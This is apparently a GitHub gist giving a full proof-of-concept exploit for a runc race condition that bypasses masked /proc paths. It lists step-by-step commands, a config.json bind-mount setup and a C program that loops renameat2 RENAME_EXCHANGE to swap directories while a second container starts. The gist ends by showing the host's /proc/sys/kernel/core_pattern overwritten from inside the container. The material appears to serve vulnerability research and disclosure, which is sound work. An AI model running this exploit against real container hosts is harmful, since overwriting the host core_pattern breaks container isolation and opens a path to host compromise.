Skip to content

Instantly share code, notes, and snippets.

@LiveOverflow
Last active June 8, 2023 02:51
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save LiveOverflow/c937820b688922eb127fb760ce06dab9 to your computer and use it in GitHub Desktop.
Save LiveOverflow/c937820b688922eb127fb760ce06dab9 to your computer and use it in GitHub Desktop.

race-condition to bypass masked paths

prepare rootfs

Get an ubuntu image and make sure gcc is installed so we can compile the proof of concept exploit. We also create a symlink to a folder, which will be in a evil bind mount shared by two containers.

docker run  --name foobar -it ubuntu /bin/bash
root@baf2988230a1:/# apt update && apt install -y gcc
root@baf2988230a1:/# exit
docker export foobar > rootfs.tar
mkdir ./rootfs
tar -xf rootfs.tar -C ./rootfs
cd ./rootfs
rm -rf ./proc
ln -s ./poc/layer/fakeproc proc
cd ..

preparing a shared bind mount volume for container-1 and container-2

mkdir -p /tmp/poc/layer/fakeproc
mkdir -p /tmp/poc/layer1/fakeproc

container 1

mkdir container-1
cd container-1
cp -r ../rootfs ./rootfs
runc spec
vim config.json

add the following mounts at the start of the default mounts in config.json

{
    "destination": "/poc",
    "type": "bind",
    "source": "/tmp/poc/",
    "options": [
        "bind"
    ]
},
{
    "destination": "/tmp",
    "type": "tmpfs",
    "source": "tmpfs"
},

start the container

runc run container-1

container 2

in a second terminal

mkdir container-2
cd container-2
cp -r ../rootfs ./rootfs
cp ../container-1/config.json .

container 1

cat > /tmp/pwn.c<<EOF
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <linux/fs.h>

int main() {
    int fd1, fd2;

    fd1 = open("/poc/layer1", O_DIRECTORY | O_RDONLY );
    fd2 = open("/poc/layer", O_DIRECTORY | O_RDONLY );
    printf("fd1: %d | fd2: %d\n", fd1, fd2);
    while(1) {
        syscall(SYS_renameat2, fd1, "/poc/layer1", fd2, "/poc/layer", RENAME_EXCHANGE);
    }
}
EOF

gcc /tmp/pwn.c -o /tmp/pwn
/tmp/pwn # execute the swap script

container 2

Try to run the container-2

runc run container-2

If the following errors appear, ignore and try again:

  1. ERRO[0000] container_linux.go:346: starting container process caused "set process label: open /proc/self/task/1/attr/exec: no such file or directory"
  2. ERRO[0000] container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"readonly path /proc/fs: no such file or directory\""

If the container starts, check if some masked paths in proc are writeable. For example try to overwrite the core_pattern with echo hax > /proc/sys/kernel/core_pattern.

  1. If you get a Directory nonexistent error, ignore and try to write again.
  2. If you get a Read-only file system error, exit the container and try again.

If you don't see an error, you should have won the race

# echo hax > /proc/sys/kernel/core_pattern
# cat /proc/sys/kernel/core_pattern
hax

and then verify outside the container

[root@fedora-v30 container-2]# cat /proc/sys/kernel/core_pattern
hax
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment